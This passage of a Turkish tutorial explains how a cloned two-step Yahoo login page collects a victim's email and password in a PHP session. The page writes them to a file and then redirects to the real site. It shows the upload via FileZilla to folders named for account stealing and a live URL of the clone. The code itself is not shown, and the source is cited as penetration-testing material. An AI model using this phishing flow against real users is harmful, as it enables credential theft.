Yukarıdaki kodları yorumlayacak olursak if koşulu ilk klon ekranında yapılan submit'leme sonrası girilecek koşuldur. else if koşulu ikinci klon ekranında yapılan submit'leme sonrası girilecek koşuldur. İlk klon ekranına email adresi girilip submit'lendiğinde if'e girilir, email adresi session'a konur ve kullanıcı ikinci klon ekrana header() ile yönlendirilir. Ekrana ikinci klon ekranı gelir. İkinci klon ekranına şifre girilip submit'lendiğinde ise else if'e girilir, şifre session'a konur, tüm session'lar dosyaya yazdırılır ve kullanıcı orijinal yahoo sayfasına header() ile yönlendirilir.

Not: hesapDosyala.php 'de session kullanımına ihtiyaç duyulmuştur. Çünkü normal değişken kullanılsaydı birinci ekran submit'lendiğinde email adresini tutacak

değişken ikinci ekran submit'lendiğinde erişilemez olacaktı. Bu durumda email adressiz bir dosyalama yapmış olacaktık. Bu nedenle birinci ekrandaki değeri kalıcı bir değişkende depolayalım ki ikinci submit'te de kullanabilelim diye session değişkenleri kullanılmıştır.

*index\_mail.php, index\_pass.php* ve *hesapDosyala.php* dosyaları sunucuya yüklenir.

	- FileZilla				∦ 📧 🕪) 11:46 🔱					
0	= 14   📝 🗉 🗁 🚅 🕊 🛤 🛤 🔅 🛷   🗉 👷 🚰 🙃									
	Host: Username: Password: Port: Quickconnect •									
	Status: Connected Status: Connected Command: CWD / public_html/hesapCalma/yahooHesapCalma Response: 250 OK. Current directory is / public_html/hesapCalma/yahooHesapCalma Command: DELE hesapIar.html									
9	Local site: /home/hefese/Desktop/	v	Remote site: /public_html/hesapCalma/y	yahooHesapCalma	•					
	<ul> <li>Desktop</li> <li>Documents</li> </ul>	facebookHesapCalma     yahooHesapCalma     ketenoriler								
	Filename ^ Filesize Filetype Last modified		Filename ^	Filesize Filetype	Last modified Permis					
	Directory         21-03-2016 13:           Directory         12-02-2016 22:           Directory         03-12-2016 00:		<pre>hesapDosyala.php index_mail.php index_pass.php</pre>	1,5 KB php-file 100,2 KB php-file 99,4 KB php-file	05-12-2016 0644 05-12-2016 0644 05-12-2016 0644					
<b>S</b> @	Directory         19-04-2016 00:           Directory         29-10-2016 01:           Directory         23-09-2016 21:									
Fz	Directory 04-12-2016 00: Directory 11-11-2016 00:									
لفته	Directory 28-11-2016 18									
	253 files and 12 directories. Total size: 3,2 MB	Selected 3 files. Total size: 201,0 KB								
	Server/Local file Directio Remote file Siz	ze Pri	ority Status							
7	Queued files Failed transfers Successful transfers (1)									
				P. Keel QU	eue: empty					

Ardından klon yahoo login sayfası sunucumuz üzerinde görüntülenir.

http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/index\_mail.php



Klon sayfaya Email adresi girilir:



Email adresi session'a konur ve kullanıcı ikinci klon sayfaya yönlendirilir.

İkinci Klon Sayfaya Şifre Girilir:



Şifre bilgisi session'a konur, tüm session'lar dosyaya yazdırılır ve kullanıcı orijinal login sayfasına yönlendirilir.

Orijinal Yahoo Login Sayfası Görüntülenir:



Login Bilgileri Dosyaya Gelir:

😣 🗖 🗊 www.includekarabuk.com/hesapCalma/yahooHesapCalma/hesaplar.html - Chromium	
🗅 www.includekarab 🗙 🛐 Yahoo - oturum aç 🛛 🖌	1
← → C ① ③ www.includekarabuk.com/hesapCalma/yahooHesapCalma/hesaplar.html ☆	
🖿 İş Başvuruları 🖿 Güvenlik Haber 🖿 Teknoloji Haber 🌗 ODTÜ Lisansüstü 🏮 AWS EC2	>>
######################################	

Yararlanılan Kaynaklar

Web Penetration Testing in Kali Linux, pg. 49-51

(Benim Not)